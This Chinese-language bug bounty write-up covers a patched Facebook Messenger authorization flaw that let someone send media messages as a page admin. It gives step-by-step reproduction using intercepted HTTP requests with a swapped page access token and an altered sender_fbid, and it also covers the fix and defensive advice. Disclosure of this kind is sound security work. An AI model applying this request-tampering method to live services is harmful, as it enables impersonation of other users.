Facebook 赏金$7,500的越权漏洞
字数 1095 2025-08-26 22:11:23
Facebook Messenger 越权漏洞分析与复现
漏洞概述
Facebook Messenger 存在一个严重的越权漏洞,允许攻击者代表其他用户发送媒体消息(照片、视频、音频)。该漏洞被 Facebook 安全团队确认并修复,研究人员获得了 $7,500 的漏洞赏金。
漏洞原理
攻击者可以通过以下方式利用此漏洞:
- 在自己的 Facebook 页面上设置受害者为管理员/编辑/主持人
- 拦截发送媒体消息的请求
- 修改请求中的授权令牌和发送者ID
- 以受害者身份向任意用户发送消息
漏洞复现步骤
环境准备
-
准备两个 Facebook 账户:
- 攻击者账户(示例中为 "Kassem Bazzoun")
- 受害者账户(示例中为 "Semi Colon")
-
攻击者需要在自己的 Facebook 页面上将受害者设置为管理员/编辑/主持人角色
攻击流程
1. 拦截发送媒体消息的请求
攻击者需要在发送图片/语音/视频时拦截请求,重点关注以下两个参数:
Authorization Header- 授权令牌sender_fbid- 发送者IDto- 接收者ID
示例请求:
发送照片的拦截数据包:
POST /messenger_image/3e8cde28c9b2d9112e9c87af9b71fbc56528664348207412316 HTTP/1.1
Authorization: OAuth EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphk.........DgWUkgTUyMBUvs
original_timestamp: 1556554877552
sender_fbid: victim_id
to: receiver_id
Accept-Encoding: gzip, deflate
发送视频的拦截数据包:
POST /messenger_video/83e5ecba32f23sfd09a99f33b96529102120235284153 HTTP/1.1
X-Entity-Name: VID-20190430-WA0150.mp4
X-FB-Connection-Type: unknown
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; INE-LX1r Build/HUAWEIINE-LX1r) [FBAN/Orca-Android;FBAV/212.1.0.13.109;FBPN/com.facebook.orca;FBLC/en_US;FBBV/151534286;FBCR/;FBMF/HUAWEI;FBBD/HUAWEI;FBDV/INE-LX1r;FBSV/9;FBCA/armeabi-v7a:armeabi;FBDM/{density=3.0,width=1080,height=2128};FB_FW/1;]
Authorization: OAuth EAAGNO4a7r2wBAJJXT1VkfYFfwdf9ZCpSxfcGpfi3azopoTlEvYEZC3639cIVmKefBhvKXadoD17GMt7t3Xx.........eTfcjUHvQZDZD
media_hash: 4dc51a78fd7e39ab3369ddd3873d4d1794b499621a1bd48d867c05c1a6ce65a5
X-FB-Net-HNI: 41503
attempt_id: 6529102120248812254
send_message_by_server: 4
app_id: 256002347743983
Content-Type: application/octet-stream
offline_threading_id: 65291021202332323
X-FB-Connection-Quality: GOOD
sender_fbid : victim_id
to: receiver_id
X-FB-SIM-HNI: 41503
2. 获取页面访问令牌
攻击者需要使用 Graph API Explorer 生成页面令牌:
- 访问
developers.facebook.com - 发送以下请求获取页面访问令牌:
GET/V3.2/page_id?fields=access_token - 响应将返回:
{ "access_token": "EAADo1TDZCuu8BAGLOOBcqIqRnGbSHm48FCJdMC4aWuZCrGJJLdwwKrJJt5awRGPiUXGswiwUUTAphkkZBv15yb7FNy357AcxAtjZCSrjFkL35muO3h3dZB2zlSZBOiS.....", "id": "page_id" }
3. 修改请求参数
- 将
Authorization Header中的令牌替换为获取的页面令牌 - 修改
sender_fbid参数为受害者ID(管理员ID) - 设置
to参数为接收者ID
4. 发送修改后的请求
完成上述修改后,攻击者可以以受害者身份向任意用户发送媒体消息。
漏洞影响
- 攻击者可以冒充受害者向任何人发送消息
- 可能被用于社交工程攻击、传播恶意内容或损害受害者声誉
- 攻击不仅限于发送给自己,可以发送给任何用户
漏洞修复方案
Facebook 通过以下方式修复了此漏洞:
- 阻止使用"页面访问令牌"代表管理员发送消息
- 页面访问令牌现在只能用于代表页面本身发送消息
- 服务器现在会返回错误响应:
{ "err_code": "1545003", "err_str": "您无法执行该操作。" }
防御建议
- 谨慎接受Facebook页面管理邀请
- 定期检查自己管理的页面和角色
- 使用Facebook提供的隐私和安全设置监控账户活动
- 对于敏感操作,启用双因素认证
总结
这个漏洞展示了API授权机制中的缺陷,服务器未能正确验证令牌与发送者身份之间的关系。安全开发人员应确保:
- 严格验证令牌与用户身份的对应关系
- 实现适当的权限检查机制
- 对敏感操作进行多重验证